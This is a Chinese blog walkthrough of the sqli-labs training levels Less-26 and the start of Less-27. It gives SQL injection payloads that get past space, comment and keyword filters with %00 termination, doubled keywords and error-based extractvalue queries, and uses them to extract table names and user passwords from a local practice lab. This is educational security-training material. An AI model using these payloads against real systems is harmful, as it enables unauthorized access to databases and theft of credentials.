sqli-labs ----less-26---37--练习

本文详细介绍了在sqli-labs的Less-26到Less-37关卡中如何利用SQL注入漏洞进行绕过策略,包括空格和注释的转义、利用%00、大小写绕过、布尔型和时间盲注等方法,涉及数据库查询、信息获取等技巧。
摘要由CSDN通过智能技术生成

sqli-labs————Less-26(绕空格、/*、#等)

该关卡提示空格和注释被转义,我们测试一下:


http://www.sqli.com/Less-26/?id=1’报错

sqli-labs-master/Less-26/?id=1’ --+ 依旧报错,

我添加的注释不见了,应该是注释被转义成了空字符,我们换成;%00测试一下:

http://www.sqli.com/Less-26/?id=1%20and%20sleep(4);%00

and应该被转义了 phpstorm 抓一下包看看

除了用;%00绕过,我们还可以使用id=1’ or ‘1’=’1进行绕过,但是要注意该关卡的or和空格都进行了转义,空格可以使用编码%0A代替,但是在Windows phpstudy环境下,空白字符编码无效,所以我们无法使用空格。

由于无法使用空格,因此
http://127.0.0.1/sqli-labs-master/Less-26/?id=1’ (oorrder by 4);%00这种语句都无法使用,我们使用报错注入:

  1. 替换:如 and 可替换为 && ,or 可替换为 ||

获取当前数据库

select * from users where id='1' union (select(extractvalue(1,concat(0x7e,database()))));%00

获取所有数据库:

但是这里长度有限制,无法全部取出

http://127.0.0.1/sqli-labs-master/Less-26/?id=1’ || (select (extractvalue(1,concat(0x7e,(select (group_concat(schema_name)) from (infoorrmation_schema.schemata) )))));%00

获取security库中的表:

select * from users where id='1' || (select (extractvalue(1,concat(0x7e,(select (group_concat(table_name)) from (infoorrmation_schema.tables) where (table_schema=0x7365637572697479))))));%00

获取users库中字段:

select * from users where id='1' || (select (extractvalue(1,concat(0x7e,(select (group_concat(column_name)) from (
infoorrmation_schema.columns) where ((table_schema=0x7365637572697479) aandnd (table_name=0x7573657273)))))));%00 注意and也需要双写:

获取username和password字段的信息:

注意password中or需要双写,由于长度限制,使用group_concat()函数无法取出全部数据,而且空格被转义,所有limit函数也无法使用,因此我们使用where(id=1)来定位数据,这样可以取出全部数据。

sqli-labs-master/Less-26/?id=1’ || (select (extractvalue(1,concat(0x7e,(select (concat(username,0x7e,passwoorrd)) from (security.users) where (id=1))))));%00

sqli-labs————Less-27(union and等)

提示好像是 union and b被过滤了

确定注入参数值类型,

id=1’报错 过滤了 1=1 1=

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值